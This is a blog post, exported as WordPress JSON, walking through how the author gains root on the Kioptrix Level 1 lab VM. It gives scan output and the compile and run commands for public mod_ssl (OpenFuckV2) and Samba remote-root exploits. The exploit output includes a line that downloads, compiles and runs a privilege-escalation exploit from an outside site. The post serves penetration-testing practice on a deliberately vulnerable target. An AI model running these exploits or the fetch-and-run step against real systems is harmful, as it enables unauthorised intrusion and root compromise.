{"id":160,"date":"2017-11-11T21:19:33","date_gmt":"2017-11-12T02:19:33","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=160"},"modified":"2019-08-28T10:31:19","modified_gmt":"2019-08-28T14:31:19","slug":"kioptrix-level-1-walkthrough","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/kioptrix-level-1-walkthrough\/","title":{"rendered":"Kioptrix Level 1 Walkthrough"},"content":{"rendered":"

The Kioptrix series VMs (5 in total) are a bit older, with the first one having come out in 2010, but are still a great learning experience. Today, I’ll show you how I got root access on Level 1. You can download it from\u00a0VulnHub<\/a>.<\/p>\n

Scanning<\/h1>\n

Let’s find it’s IP address first:<\/p>\n

root ~ # netdiscover -i eth1 -r 10.10.1.0\/24\r\n\r\n Currently scanning: 10.10.1.0\/24   |   Screen View: Unique Hosts                                                                               \r\n                                                                                                                                                \r\n 3 Captured ARP Req\/Rep packets, from 3 hosts.   Total size: 180                                                                                \r\n __________________________________________________________________________\r\n   IP            At MAC Address     Count     Len  MAC Vendor \/ Hostname      \r\n --------------------------------------------------------------------------\r\n 10.10.1.1       00:50:56:c0:00:01      1      60  Unknown vendor                                                                               \r\n 10.10.1.21      00:0c:29:7c:3a:16      1      60  Unknown vendor<\/pre>\n

Ok, now let’s get some more info on it’s running services:<\/p>\n
root ~ # nmap -sV -O 10.10.1.21\r\n\r\nStarting Nmap 7.60 ( https:\/\/nmap.org ) at 2017-11-03 18:26 CDT\r\nNmap scan report for 10.10.1.21\r\nHost is up (0.00079s latency).\r\nNot shown: 994 closed ports\r\nPORT     STATE SERVICE     VERSION\r\n22\/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)\r\n80\/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat\/Linux) mod_ssl\/2.8.4 OpenSSL\/0.9.6b)\r\n111\/tcp  open  rpcbind     2 (RPC #100000)\r\n139\/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)\r\n443\/tcp  open  ssl\/https   Apache\/1.3.20 (Unix)  (Red-Hat\/Linux) mod_ssl\/2.8.4 OpenSSL\/0.9.6b\r\n1024\/tcp open  status      1 (RPC #100024)\r\nMAC Address: 00:0C:29:7C:3A:16 (VMware)\r\nDevice type: general purpose\r\nRunning: Linux 2.4.X\r\nOS CPE: cpe:\/o:linux:linux_kernel:2.4\r\nOS details: Linux 2.4.9 - 2.4.18 (likely embedded)<\/pre>\n

Enumeration<\/h1>\n
I also did a regular port scan of all TCP ports (with the -p- option) and let that run for a while in case there’s anything else we missed. That showed no other open (TCP) ports. I did notice that version of Apache looks quite old, even for 2010. A quick Google search shows that it was released in 2001, a full 9 years before this VM was created. Apache itself could be a possible attack vector, but we’ll keep that in mind for later if we get stuck. First, let’s check the website:<\/p>\n
\"\"<\/p>\n
Well, not much here. Let’s dig a little deeper with dirb (a directory brute-forcer):<\/p>\n
root ~ # dirb http:\/\/10.10.1.21\/ \/usr\/share\/dirb\/wordlists\/big.txt\r\n\r\n-----------------\r\nDIRB v2.22    \r\nBy The Dark Raver\r\n-----------------\r\n\r\nSTART_TIME: Fri Nov  3 19:09:53 2017\r\nURL_BASE: http:\/\/10.10.1.21\/\r\nWORDLIST_FILES: \/usr\/share\/dirb\/wordlists\/big.txt\r\n\r\n-----------------\r\n\r\nGENERATED WORDS: 20458                                                         \r\n\r\n---- Scanning URL: http:\/\/10.10.1.21\/ ----\r\n+ http:\/\/10.10.1.21\/cgi-bin\/ (CODE:403|SIZE:272)                                                                                                \r\n==> DIRECTORY: http:\/\/10.10.1.21\/manual\/                                                                                                        \r\n==> DIRECTORY: http:\/\/10.10.1.21\/mrtg\/                                                                                                          \r\n==> DIRECTORY: http:\/\/10.10.1.21\/usage\/                                                                                                         \r\n+ http:\/\/10.10.1.21\/~operator (CODE:403|SIZE:273)                                                                                               \r\n+ http:\/\/10.10.1.21\/~root (CODE:403|SIZE:269)                                                                                                   \r\n                                                                                                                                                \r\n---- Entering directory: http:\/\/10.10.1.21\/manual\/ ----\r\n(!) WARNING: Directory IS LISTABLE. No need to scan it.                        \r\n    (Use mode '-w' if you want to scan it anyway)\r\n                                                                                                                                                \r\n---- Entering directory: http:\/\/10.10.1.21\/mrtg\/ ----\r\n                                                                                                                                                \r\n---- Entering directory: http:\/\/10.10.1.21\/usage\/ ----\r\n                                                                                                                                                \r\n-----------------<\/pre>\n

Looks like we’ve got a few directories to check out.<\/p>\n
The \/manual\/ directory just contains a bunch of mod_perl & mod_ssl Apache module manuals.<\/p>\n
The \/mrtg\/ page takes us to the “Multi Router Traffic Grapher” web app. There does seem to be a directory traversal vulnerability in version 2.9.17<\/a>. I tried it here but no luck. The relevant CGI scripts don’t seem to exist.<\/p>\n
The \/usage\/ page takes us to a Webalizer<\/a> page with some stats from Sept 2009:<\/p>\n
\"\"<\/p>\n
There is a code execution vulnerability in Webalizer 2.0.1<\/a>, however, it requires the server to be configured to use reverse DNS lookups (a feature that’s disabled by default) and I doubt that’s the case here.<\/p>\n
Let’s run the popular web server scanner, Nikto<\/a>.<\/p>\n
root ~ # nikto -h 10.10.1.21\r\n- Nikto v2.1.6\r\n---------------------------------------------------------------------------\r\n+ Target IP:          10.10.1.21\r\n+ Target Hostname:    10.10.1.21\r\n+ Target Port:        80\r\n+ Start Time:         2017-11-09 20:56:24 (GMT-6)\r\n---------------------------------------------------------------------------\r\n+ Server: Apache\/1.3.20 (Unix)  (Red-Hat\/Linux) mod_ssl\/2.8.4 OpenSSL\/0.9.6b\r\n+ Server leaks inodes via ETags, header found with file \/, inode: 34821, size: 2890, mtime: Wed Sep  5 22:12:46 2001\r\n+ The anti-clickjacking X-Frame-Options header is not present.\r\n+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS\r\n+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type\r\n+ OpenSSL\/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.\r\n+ mod_ssl\/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)\r\n+ Apache\/1.3.20 appears to be outdated (current is at least Apache\/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.\r\n+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header\r\n+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE \r\n+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST\r\n+ OSVDB-838: Apache\/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.\r\n+ OSVDB-4552: Apache\/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.\r\n+ OSVDB-2733: Apache\/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.\r\n+ mod_ssl\/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2002-0082, OSVDB-756.\r\n...snip...<\/pre>\n
 <\/p>\n
Exploitation<\/h1>\n
I cut out the rest of the output as that last one is what I’m interested in. Let’s see what we can find on this. A Google search for “apache mod_ssl 2.8.7 exploit” gives us some exploit code from Exploit Database<\/a> called “OpenFuckV2<\/a>“. I copied the code to my Kali VM into a file called OpenFuckV2.c. I tried compiling it but got a bunch of errors:<\/p>\n
root ~ # gcc -o of2 OpenFuckV2.c -lcrypto\r\nOpenFuckV2.c:651:2: error: unknown type name \u2018RC4_KEY\u2019\r\n  RC4_KEY* rc4_read_key;\r\n  ^~~~~~~\r\nOpenFuckV2.c:652:2: error: unknown type name \u2018RC4_KEY\u2019\r\n  RC4_KEY* rc4_write_key;\r\n  ^~~~~~~\r\nOpenFuckV2.c: In function \u2018read_ssl_packet\u2019:\r\nOpenFuckV2.c:844:7: error: \u2018MD5_DIGEST_LENGTH\u2019 undeclared (first use in this function); did you mean \u2018SHA_DIGEST_LENGTH\u2019?\r\n   if (MD5_DIGEST_LENGTH + padding >= rec_len) {\r\n       ^~~~~~~~~~~~~~~~~\r\n       SHA_DIGEST_LENGTH\r\n\r\n...snip...<\/pre>\n

After doing some digging around I found out that I need to add 2 headers to the code:<\/p>\n
#include <openssl\/rc4.h>\r\n#include <openssl\/md5.h><\/pre>\n

After adding that to the top of the file, the code compiles with only a few warnings that we can ignore. The first thing I do is get the help:<\/p>\n
root ~ # .\/of2 -h\r\n\r\n*******************************************************************\r\n* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *\r\n*******************************************************************\r\n* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *\r\n* #hackarena  irc.brasnet.org                                     *\r\n* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *\r\n* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *\r\n* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *\r\n*******************************************************************\r\n\r\n: Usage: .\/of2 target box [port] [-c N]\r\n\r\n  target - supported box eg: 0x00\r\n  box - hostname or IP address\r\n  port - port for ssl connection\r\n  -c open N connections. (use range 40-50 if u dont know)\r\n  \r\n\r\n  Supported OffSet:\r\n\t0x00 - Caldera OpenLinux (apache-1.3.26)\r\n\t0x01 - Cobalt Sun 6.0 (apache-1.3.12)\r\n\t0x02 - Cobalt Sun 6.0 (apache-1.3.20)\r\n...snip...\r\n\t0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1\r\n\t0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2\r\n...snip...<\/pre>\n

The nmap scan results tell us that we should be focusing on RedHat with Apache version 1.3.20. There are 2 possibilities for the “target” here. I tried the first one and it didn’t work. The second one, however…<\/p>\n
root ~ # .\/of2 0x6b 10.10.1.21 443\r\n\r\n*******************************************************************\r\n* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *\r\n*******************************************************************\r\n* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *\r\n* #hackarena  irc.brasnet.org                                     *\r\n* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *\r\n* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *\r\n* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *\r\n*******************************************************************\r\n\r\nEstablishing SSL connection\r\ncipher: 0x4043808c   ciphers: 0x80f81c8\r\nReady to send shellcode\r\nSpawning shell...\r\nbash: no job control in this shell\r\nbash-2.05$ \r\noits\/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; .\/p; .nl\/0304-expl \r\n--21:09:11--  http:\/\/packetstormsecurity.nl\/0304-exploits\/ptrace-kmod.c\r\n           => `ptrace-kmod.c'\r\nConnecting to packetstormsecurity.nl:80... \r\npacketstormsecurity.nl: Host not found.\r\ngcc: ptrace-kmod.c: No such file or directory\r\ngcc: No input files\r\nrm: cannot remove `ptrace-kmod.c': No such file or directory\r\nbash: .\/p: No such file or directory\r\nbash-2.05$ \r\nbash-2.05$ id\r\nid\r\nuid=48(apache) gid=48(apache) groups=48(apache)<\/pre>\n

That’s a shell! Note, you may have to try running it several times as it may not always work.<\/p>\n
It looks like it was trying to download some code from packetstorm security. I did a google search and found this to be a privilege escalation exploit. As soon as you get a shell on your target, it tries to get you root access. I tried manually copying the code over since the VM doesn’t have Internet access, compiling & running it, but I never got a shell. We might have to try other exploits.<\/p>\n
Privilege Escalation<\/h1>\n
I like to use this handy GitHub page<\/a> as a reference. Ctrl+F for “2.4.7” shows 3 possible exploits; pipe.c_32bit, sock_sendpage, & sock_sendpage2. I’ll try the code from each, going down the line. There are many ways to copy the code over to the target machine. I could have saved the code to my Kali VM, started an HTTP server with “python -m SimpleHTTPServer 80” then download it via wget on the target host. However, sometimes I find the “heredoc<\/a>” method a bit simpler.<\/p>\n
bash-2.05$ cat << EOF > pipe.c\r\n> #include <stdio.h>\r\n> #include <stdlib.h>\r\n> #include <string.h>\r\n> #include <unistd.h>\r\n...snip...\r\n> EOF\r\nbash-2.05$ ls\r\nls\r\npipe.c<\/pre>\n

However, I kept getting compilation errors with this and every time I fixed them, more would pop up.<\/p>\n
I tried the next one, sock_sendpage & sock_sendpage2 after that. Neither would compile because of missing header files. And of course, having gotten onto this box as the “apache” user, we don’t have privileges to fix that. Lets look for other ways onto this box.<\/p>\n
Going back to the nmap scan (I always save the output of my scans to a text file so I can refer back to it later without having to scan agian), we do see that port 139 is open and Samba is running. Let’s use enum4linux to try to find the running version:<\/p>\n
root ~ # enum4linux 10.10.1.21\r\nStarting enum4linux v0.8.9 ( http:\/\/labs.portcullis.co.uk\/application\/enum4linux\/ ) on Sat Nov 11 19:33:08 2017\r\n\r\n ========================== \r\n|    Target Information    |\r\n ========================== \r\nTarget ........... 10.10.1.21\r\nRID Range ........ 500-550,1000-1050\r\nUsername ......... ''\r\nPassword ......... ''\r\n...snip...\r\n ======================================= \r\n|    Share Enumeration on 10.10.1.21    |\r\n ======================================= \r\nWARNING: The \"syslog\" option is deprecated\r\nDomain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]\r\n...snip...<\/pre>\n

A quick Google search shows that version was released in 2001. Again, a full 9 years before this VM was created. Searching for “Samba 2.2.1a exploit” shows a remote code execution exploit<\/a> on exploit-db.com as the first hit.<\/p>\n
I copied the code to my Kali VM & compiled it (# gcc -o samba1 samba1.c). After reading the example in the comments, I tried exploiting:<\/p>\n
root ~ # .\/samba1 -b 0 10.10.1.21\r\nsamba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)\r\n--------------------------------------------------------------\r\n+ Bruteforce mode. (Linux)\r\n+ Host is running samba.\r\n+ Worked!\r\n--------------------------------------------------------------\r\n*** JE MOET JE MUIL HOUWE\r\nLinux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown\r\nuid=0(root) gid=0(root) groups=99(nobody)\r\nwhoami\r\nroot<\/pre>\n

Wow, that was easy. Wish I tried that first…<\/p>\n
That’s it. We’ve accomplished our objective of getting root access to the machine!<\/p>\n","protected":false},"excerpt":{"rendered":"
The Kioptrix series VMs (5 in total) are a bit older, with the first one having come out in 2010, but are still a great learning experience. Today, I’ll showContinue readingKioptrix Level 1 Walkthrough<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-160","post","type-post","status-publish","format-standard","hentry","category-vulnhub"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/160","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=160"}],"version-history":[{"count":33,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/160\/revisions"}],"predecessor-version":[{"id":210,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/160\/revisions\/210"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=160"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=160"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}